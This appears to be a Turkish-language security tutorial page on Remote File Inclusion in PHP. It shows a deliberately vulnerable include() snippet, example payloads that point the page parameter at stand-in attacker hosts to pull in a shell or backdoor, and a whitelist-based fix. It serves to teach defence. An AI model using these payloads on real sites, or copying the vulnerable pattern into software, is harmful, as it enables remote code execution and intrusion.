Uzaktan Dosya Dahil Etme (Remote File Inclusion - RFI)

What is Remote File Inclusion (RFI)?

Remote File Inclusion (RFI), saldırganların uygulamaya uzak sunuculardan kötü amaçlı dosyalar dahil ettirmelerine olanak tanıyan kritik bir web güvenlik zafiyetidir. Kullanıcı girdisine dayalı dosya dahil etme mekanizmalarını istismar ederek, saldırganlar web shell'leri yükleyebilir, backdoor'lar oluşturabilir ve tam sistem kontrolü ele geçirebilir. RFI genellikle PHP uygulamalarında include(), require(), fopen() gibi fonksiyonların güvensiz kullanımından kaynaklanır.

RFI Nasıl Çalışır

RFI, bir uygulamanın kullanıcı girdisine dayalı olarak dinamik şekilde dosya dahil etmesi ve uzak URL'lere izin vermesiyle oluşur. Saldırganlar kendi sunucularında kötü amaçlı PHP kodu barındırır ve savunmasız parametreyi manipüle ederek uzak dosyalarını dahil ettirirler. Savunmasız uygulama, saldırganın kodunu indirir ve tam yetkilerle çalıştırır.

// Vulnerable PHP code
<?php
$page = $_GET['page'];
include($page . '.php');
?>

// Attacker payload:
// ?page=http://attacker.com/shell.txt
// ?page=https://evil.com/backdoor
// ?page=ftp://malicious.site/exploit

// Secure PHP code
<?php
$allowed = ['home', 'about', 'contact'];
$page = $_GET['page'] ?? 'home';

// Whitelist validation
if (in_array($page, $allowed)) {
    include("/var/www/pages/{$page}.php");
} else {
    include("/var/www/pages/error.php");
}
?>

RFI ve LFI: Temel Farklar

RFI'ın İş Etkisi

PHP Yapılandırması

RFI'ın istismar edilebilmesi için belirli PHP yapılandırma ayarları gerekir. Bu ayarları anlamak hem saldırganlar hem de savunucular için önemlidir.